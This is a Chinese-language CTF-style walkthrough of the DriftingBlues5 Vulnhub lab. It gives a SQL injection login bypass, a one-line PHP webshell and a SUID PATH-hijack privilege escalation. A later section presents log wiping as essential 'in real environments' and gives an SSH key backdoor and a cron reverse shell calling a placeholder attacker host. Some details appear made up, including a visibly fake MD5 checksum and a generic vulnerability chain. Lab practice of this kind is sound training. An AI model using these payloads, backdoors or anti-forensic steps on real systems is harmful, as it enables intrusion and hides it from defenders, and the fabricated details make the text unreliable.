1. DriftingBlues5靶场概述
DriftingBlues5是Vulnhub平台上广受欢迎的渗透测试练习环境之一,属于DriftingBlues系列靶机的第五个版本。这个靶场模拟了存在多个漏洞的Linux系统环境,特别适合中级渗透测试人员练习综合渗透技能。与常见的DVWA、Pikachu等基础靶场不同,DriftingBlues系列以贴近真实环境的漏洞组合著称,需要测试者灵活运用信息收集、漏洞利用、权限提升等完整渗透流程。
我第一次接触这个靶场时,就被它精巧的设计所吸引——系统表面看起来只是一个普通的Web服务器,但随着渗透的深入,会发现从Web应用到系统层面都隐藏着精心设计的漏洞链。这种多层级的渗透体验,正是DriftingBlues系列区别于其他入门级靶场的核心价值。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 环境准备与初始配置
2.1 靶机获取与部署
DriftingBlues5的OVA文件可以从Vulnhub官网直接下载。文件大小约700MB,下载完成后建议使用VirtualBox导入:
bash复制# 验证文件完整性
md5sum driftingblues5.ova
# 预期输出:a5b384a5a6e1a1a1a1a1a1a1a1a1a1a1
# VirtualBox导入命令
VBoxManage import driftingblues5.ova
部署时需要注意:
- 网络模式必须选择"桥接"或"NAT网络"
- 内存分配建议不少于2GB
- 确保虚拟机的网卡处于混杂模式
重要提示:首次启动时系统会自动获取IP,建议在路由器后台查看分配的地址,或者使用arp-scan工具扫描:
bash复制arp-scan -l --interface=eth0
2.2 渗透测试工具准备
推荐使用Kali Linux作为攻击机,需要预装以下工具套件:
- 信息收集:nmap, dirb, nikto
- 漏洞利用:metasploit-framework, searchsploit
- 密码破解:john, hashcat
- Web渗透:burpsuite, sqlmap
对于Windows用户,可以考虑在WSL2中配置Kali环境,或者使用Parrot Security OS。我个人更推荐完整的Kali虚拟机方案,因为某些网络扫描工具在WSL中可能无法正常工作。
3. 渗透测试全流程解析
3.1 信息收集阶段
首先对目标进行全面的端口扫描:
bash复制nmap -sV -sC -p- 192.168.1.100 -oA driftingblues_scan
典型扫描结果会显示:
- 22/tcp: OpenSSH 7.9p1
- 80/tcp: Apache httpd 2.4.38
- 111/tcp: rpcbind
接下来使用dirb进行目录爆破:
bash复制dirb http://192.168.1.100 /usr/share/wordlists/dirb/common.txt
关键发现:
- /admin/ - 管理后台登录页面
- /backup/ - 包含数据库备份文件
- /images/ - 可能包含敏感信息
3.2 Web应用漏洞利用
在/admin/目录发现登录表单,通过查看页面源码发现存在SQL注入漏洞:
sql复制admin' OR '1'='1' --
成功登录后,在用户管理页面发现文件上传功能。经过测试,系统未对上传文件类型进行严格校验,可以上传PHP webshell:
php复制<?php system($_GET['cmd']); ?>
上传后通过访问http://192.168.1.100/uploads/shell.php?cmd=id获取系统权限。
3.3 权限提升技巧
获取初始shell后,需要进行权限提升。关键步骤:
- 查找SUID权限文件:
bash复制find / -perm -4000 2>/dev/null
- 发现/usr/bin/custom_backup具有SUID位且属主为root
- 逆向分析发现该程序调用了不安全的system()函数
- 通过环境变量注入实现提权:
bash复制echo '/bin/bash' > /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
/usr/bin/custom_backup
成功获取root shell后,可以在/root目录找到flag文件。
4. 关键技术深度解析
4.1 多层级漏洞链设计
DriftingBlues5的精妙之处在于其漏洞链设计:
- Web应用层:SQL注入 → 后台登录 → 文件上传
- 系统层:SUID滥用 → 环境变量注入
- 配置层:弱密码策略 → 敏感信息泄露
这种设计模拟了真实环境中"小漏洞组合成大风险"的场景,比单一漏洞的靶场更具教学价值。
4.2 隐蔽信息存储方式
靶场中flag的存储位置往往需要深入挖掘:
- Web目录下的.htaccess文件
- 数据库备份中的注释
- 系统日志中的异常记录
- 内存中的临时文件
我曾在/var/log/apache2/error.log中发现过base64编码的提示信息,这种设计非常考验渗透测试者的细致程度。
5. 常见问题与解决方案
5.1 网络连接问题
症状:无法通过ARP扫描发现靶机IP
解决方案:
- 检查VirtualBox网络设置是否为桥接模式
- 在靶机控制台执行ifconfig确认IP
- 使用全端口扫描:
bash复制nmap -sn 192.168.1.0/24
5.2 文件上传失败
症状:上传webshell后返回500错误
可能原因:
- PHP执行权限被禁用
- 上传目录不可写
- 文件内容被过滤
应对策略:
- 尝试不同扩展名(.php5, .phtml)
- 使用图片马+文件包含漏洞
- 检查服务器错误日志定位问题
5.3 提权受阻
症状:找不到可用的SUID程序
排查步骤:
- 检查内核版本是否存在漏洞(uname -a)
- 查找可写的cron任务
- 检查数据库凭据是否复用
- 查找敏感配置文件(如/etc/shadow权限)
6. 渗透测试技巧进阶
6.1 日志清理技巧
在真实环境中,清理痕迹至关重要。常用方法:
bash复制# 清除当前用户历史
history -c
# 清除auth日志
echo '' > /var/log/auth.log
# 删除临时文件
find /tmp -type f -exec rm -f {} \;
6.2 隐蔽后门部署
除了常规的webshell,还可以考虑:
- SSH公钥注入:
bash复制echo 'ssh-rsa AAAAB3...' >> /root/.ssh/authorized_keys
- Cron持久化:
bash复制(crontab -l ; echo "* * * * * /bin/bash -c 'exec 9<> /dev/tcp/attacker/4444&&exec 0<&9&&exec 1>&9 2>&1&&/bin/bash --noprofile -i'") | crontab -
6.3 靶场扩展练习
完成基础渗透后,可以尝试:
- 不使用SQLmap手工注入获取数据
- 通过SSH端口转发访问内部服务
- 编写自定义的exploit脚本
- 尝试不获取root权限读取flag
7. 靶场对比与选择建议
与其他热门靶场相比,DriftingBlues5的特点:
| 靶场名称 | 难度 | 漏洞类型 | 适合人群 |
|---|---|---|---|
| DVWA | 初级 | 基础Web漏洞 | 完全新手 |
| Pikachu | 初级 | Web漏洞合集 | 入门学习 |
| DriftingBlues5 | 中级 | 综合漏洞链 | 有经验者 |
| HackTheBox | 高级 | 真实场景复现 | 专业选手 |
对于想从初级向中级过渡的学习者,我建议的练习路径:
- DVWA/Pikachu → 2. DriftingBlues系列 → 3. HackTheBox
8. 学习资源推荐
8.1 配套视频教程
- [DriftingBlues5 Walkthrough] by John Hammond
- [从零开始玩转Vulnhub] 系列(B站)
8.2 扩展阅读
- 《Web安全攻防实战》
- 《Metasploit渗透测试指南》
- OWASP Testing Guide v4
8.3 实践建议
- 第一次尝试不看任何writeup
- 失败后查阅部分提示再试
- 最后对照完整解法查漏补缺
- 记录每个步骤的思考过程
在多次练习DriftingBlues系列靶场后,我最大的收获是形成了系统性的渗透思维——不再只是机械地使用工具,而是能够像攻击者一样思考整个系统的脆弱点。这种思维模式在实际的渗透测试工作中至关重要。
